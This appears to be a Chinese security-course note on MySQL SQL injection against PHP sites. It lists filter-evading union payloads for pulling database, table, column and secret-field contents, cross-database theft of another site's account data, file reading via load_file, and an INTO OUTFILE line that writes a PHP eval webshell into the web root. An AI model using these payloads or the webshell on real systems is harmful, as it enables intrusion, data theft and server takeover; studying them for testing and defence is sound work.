【小迪安全2023】day42 php应用&mysql架构&sql注入&跨库查询&文件读写&权限操作

第42天 php应用&mysql架构&sql注入&跨库查询&文件读写&权限操作

两种MySQL架构

root统一管理

复制代码
mysql
	root(默认)
		网站A testA
		网站B testB

各管各的

复制代码
mysql
	testA用户
		网站A testA
	testB用户
		网站B testB
获取相关数据

1、数据库版本:version();是否符合information_schema查询,5.0以下可能没有

2、数据库用户:user();是否符合root型攻击

3、当前操作系统:@@eversion_compile_os;查看是否支持大小写(win/linux)

4、数据库名字:database();为接下来查询做准备

查询

1、常规查询

2、跨库查询(需要root)

通过B网站的注入点获取A网站的账号密码

流程

  • 查询所有数据库名

    nss=-1'//ununionion//select//1,database(),(select//group_concat(schema_name)//from//information_schema.schemata)#

  • 查询表名

    nss=-1'//ununionion//select//1,database(),group_concat(table_name)//from//infoorrmation_schema.tables//where/**/table_schema=database()#

  • 查询表内字段名

    nss=-1'//ununionion//select//1,database(),group_concat(column_name)//from//information_schema.columns//where/**/table_name='NSS_tb'#

  • 查询字段内容(payload)

    nss=-1'//ununionion//select//1,database(),group_concat(id,Secr3t,flll444g)//from//NSS_tb//limit/**/1,1#

直接用即可

跨库查询注意路径from zblog.zbp_member------数据库名.表名等价于where table_schema='zblog' and table_name='zbp_member'

文件读写

读条件:

1、当前用户权限(需要root)

2、secure-file-priv设置

复制代码
load_file("d://1.txt")

sql 复制代码
select 1,2,'<?php eval($_POST[x]);?>',4,5 into outfile 'd://phpstude//www//demo//xiaodi.php'

apache有默认安装路径------可以直接网上搜

读写的路径问题:

1、报错显示获取路径

2、phpinfo页面泄露
如果不知道路径:

利用常见的默认中间介,数据库等安装路径读取有价值的信息

secure-file-priv设置导致读写无法进行

mysql注入

1、判断常见的4个信息(系统,用户,数据库名,版本)

2、根据上面4个信息选择方案:

1、root用户:先测试读写,后测试获取数据

2、非root用户:直接测试获取数据

进阶

单引号过滤绕过方式

SQL注入语句中,用单引号就不要用编码,编码就不要用单引号(路径,表名,数据库名)

相关推荐
chipsense2 小时前
守住安全底线:2026年电动汽车充电桩漏电流(RCD)检测技术深度博弈
安全·充电桩·磁通门传感器·漏电流检测
不想写bug呀5 小时前
MySQL索引介绍
数据库·mysql
乐迪信息6 小时前
乐迪信息:AI算法盒子+船舶AI逆行检测算法,船舶违规实时抓拍
大数据·运维·人工智能·物联网·安全
Coder个人博客6 小时前
Linux6.19-ARM64 mm mem_encrypt子模块深入分析
linux·安全·车载系统·系统架构·系统安全·鸿蒙系统·安全架构
上海云盾-小余7 小时前
Edge SCDN是如何实现智能 WAF 防护的?
前端·网络·安全·edge
2401_836235868 小时前
通关利器:中安未来TH-ER610电子护照阅读器,无纸化时代的身份核验安全保障
人工智能·科技·深度学习·安全·ocr
从天而降的扣篮8 小时前
MySQL自动添加分区表的函数
数据库·mysql
悄悄敲敲敲8 小时前
MySQL 事务
数据库·mysql
2501_948120158 小时前
基于机器学习的网络异常检测与响应技术研究
网络·机器学习·php